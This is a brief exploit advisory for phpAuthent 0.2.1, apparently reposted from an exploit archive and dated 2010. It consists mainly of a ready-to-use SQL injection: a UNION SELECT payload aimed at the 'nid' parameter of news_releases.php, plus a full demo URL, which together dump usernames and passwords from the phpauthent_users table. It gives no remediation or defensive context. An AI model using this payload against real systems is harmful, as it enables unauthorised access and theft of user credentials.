phpAuthent 0.2.1 SQL Injection Vulnerability
Posted on 19 March 2010
============================================ phpAuthent 0.2.1 SQL Injection Vulnerability ============================================ phpAuthent 0.2.1 SQL Injection Vulnerability ########################### Author : Gamoscu Homepage : http://www.1923turk.com Blog : http://gamoscu.wordpress.com/ Script : phpAuthent http://phpauth.sourceforge.net/ Download : http://phpauth.sourceforge.net/download.php ########################### [ Vulnerable File ] news_releases.php?nid= [ SQL ] [ XpL ] -1+union+select+1,2,3,username,password,6,7+from+phpauthent_users [ Demo] http://server/news_releases.php?nid=-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users # ~ - [ [ : Inj3ct0r : ] ]
